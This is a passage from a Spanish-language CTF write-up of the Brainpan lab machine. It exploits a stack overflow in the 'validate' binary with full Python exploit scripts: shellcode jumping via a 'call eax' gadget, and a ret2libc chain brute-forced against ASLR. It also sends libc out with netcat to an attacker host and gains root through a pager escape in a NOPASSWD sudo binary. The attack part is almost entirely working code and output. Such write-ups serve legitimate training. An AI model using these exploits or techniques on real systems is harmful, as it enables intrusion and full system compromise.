Starting program: /home/user/validate AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD  
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/s $esp
0xffffd840:     'D' <repetidos 40 veces>
pwndbg>

Podriamos intentar una explotación parecida a la del binario brainpan.exe pero en este caso si queremos saltar al esp no hay ningun gadget de jmp esp o equivalente

❯ ropper --file validate --jmp esp  

JMP Instructions
================

0 gadgets found

Podemos aprovecharnos del hecho de que strcpy como return value devuelve un puntero al buffer de destino, por lo que en eax que es donde se guarda el valor de retorno deberiamos tener una dirección que apunta al inicio de nuestro buffer

pwndbg> x/s $eax
0xffffd7c8:     'A' <repetidos 112 veces>, "BBBBCCCC", 'D' <repetidos 40 veces>  
pwndbg>

Si miramos con ropper direcciones a donde podemos saltar encontramos 2 instrucciones que nos ejecutan call eax, con lo que volveriamos al inicio del input

❯ ropper --file validate --jmp eax  

JMP Instructions
================

0x080484af: call eax;
0x0804862b: call eax;

2 gadgets found

Cualquiera de las 2 direcciones para call eax es válida pero hay que pasarla a formato little endian, como no tenemos pwntools en la maquina crearemos una funcion llamada p32 usando el propio atributo .to_bytes() para convertirla

p32 = lambda addr: addr.to_bytes(4, "little")  

Iniciamos con un shellcode el cual nos ejecutara una /bin/sh, rellenamos con A's hasta llegar al return address, en el ejecutaremos el call eax que llama al inicio del buffer y como en el inicio enviamos el shellcode se ejecutará y nos dará la shell

#!/usr/bin/python3
import sys

p32 = lambda addr: addr.to_bytes(4, "little")

shellcode = b"\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"  

offset = 116
junk = b"A" * (offset - len(shellcode))

payload  = b""
payload += shellcode
payload += junk
payload += p32(0x80484af) # call eax;

sys.stdout.buffer.write(payload)

Ejecutamos el binario validate en la máquina victima con el exploit ejecutado como validate, al hacerlo conseguimos una shell como el usuario anansi

puck@brainpan:~$ validate $(python2 exploit.py)  
$ whoami
anansi
$ hostname -I
10.10.27.47
$

Otro metodo es explotarlo mediante un ret2libc, para esto necesitamos saber la libreria que usa el binario que en este caso con ldd vemos que es libc.so.6

puck@brainpan:~$ ldd /usr/local/bin/validate  
	linux-gate.so.1 =>  (0xb77d5000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)  
	/lib/ld-linux.so.2 (0xb77d6000)
puck@brainpan:~$

Descargamos el archivo libc.so.6 con netcat de la misma manera que antes

puck@brainpan:~$ netcat 10.8.64.87 4444 < /lib/i386-linux-gnu/libc.so.6  
puck@brainpan:~$

❯ netcat -lvnp 4444 > libc.so.6  
Listening on 0.0.0.0 4444
Connection received on 10.10.27.47  

Para empezar tomaremos como base una dirección de libc usando ldd

puck@brainpan:~$ ldd /usr/local/bin/validate
        linux-gate.so.1 =>  (0xb7719000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)  
        /lib/ld-linux.so.2 (0xb771a000)
puck@brainpan:~$

Ahora con readelf conseguimos offsets de las direcciones para exit y system

❯ readelf -s libc.so.6 | grep -E " system@@| exit@@"
   136: 00032fb0    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1422: 0003f430   141 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0  

Para conseguir un offset de la dirección de /bin/sh podemos usar strings

❯ strings -a -t x libc.so.6 | grep /bin/sh  
 160f58 /bin/sh

El exploit rellena con A's el offset hasta el return address, ahí llama a la función system y el primer dword del stack que pertenece al siguiente return address cuando termine system lo define como exit, luego como argumento para system que se encuentra en el segundo dword del stack envia la dirección de /bin/sh

#!/usr/bin/python3
import sys

p32 = lambda addr: addr.to_bytes(4, "little")

offset = 116
junk = b"A" * offset

libc_base = 0xb7565000

payload  = b""
payload += junk
payload += p32(libc_base + 0x03f430) # system()
payload += p32(libc_base + 0x032fb0) # exit()
payload += p32(libc_base + 0x160f58) # "/bin/sh"  

sys.stdout.buffer.write(payload)

Sin embargo tenemos un problema y es que la dirección de libc base cambia constantemente, esto es porque el ASLR esta activado y hay aleatorizacion

puck@brainpan:~$ ldd /usr/local/bin/validate 
    linux-gate.so.1 =>  (0xb77ce000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761a000)  
    /lib/ld-linux.so.2 (0xb77cf000)
puck@brainpan:~$ cat /proc/sys/kernel/randomize_va_space
2
puck@brainpan:~$

Sin embargo en x86 las direcciones son tan pequeñas que despues de ejecutar el binario varias veces la dirección de libc base vuelve a coincidir varias veces

puck@brainpan:~$ for i in $(seq 1 1000); do ldd /usr/local/bin/validate | grep 0xb7565000; done  
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
puck@brainpan:~$

Asi que es caso de ejecutarlo en bucle hasta que consigamos una sh como anansi

puck@brainpan:~$ while true; do validate $(python3 exploit.py); done  
Segmentation fault
Segmentation fault
Segmentation fault
$ whoami
anansi
$ hostname -I
10.10.27.47
$


Shell - root


A nivel de sudoers podemos ejecutar como root sin contraseña anansi_util

$ sudo -l
Matching Defaults entries for anansi on this host:
    secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
$

Tenemos varias opciones entre ellas manual, podemos desplegar el manual del comando whoami y entra en un modo paginate, ejecutamos !bash y somos root

$ sudo /home/anansi/bin/anansi_util manual whoami

NAME
       whoami - print effective userid

SYNOPSIS
       whoami [OPTION]...

DESCRIPTION
       Print the user name associated with the current effective user ID  

       --help display this help and exit

       --version
              output version information and exit

AUTHOR
       Written by Richard Mlynarik.

!bash

root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt 

_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com  

root@brainpan:/usr/share/man#

Es necesario mencionar que el Buffer Overflow de la escalada es opcional ya que a nivel de sudoers de puck tenemos el binario anansi_util que teniamos antes, asi que solo repetimos el proceso y conseguimos una shell como el usuario root

puck@brainpan:~$ sudo -l
Matching Defaults entries for puck on this host:
    secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual whoami

NAME
       whoami - print effective userid

SYNOPSIS
       whoami [OPTION]...

DESCRIPTION
       Print the user name associated with the current effective user ID  

       --help display this help and exit

       --version
              output version information and exit

AUTHOR
       Written by Richard Mlynarik.

!bash

root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt 

_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com  

root@brainpan:/usr/share/man#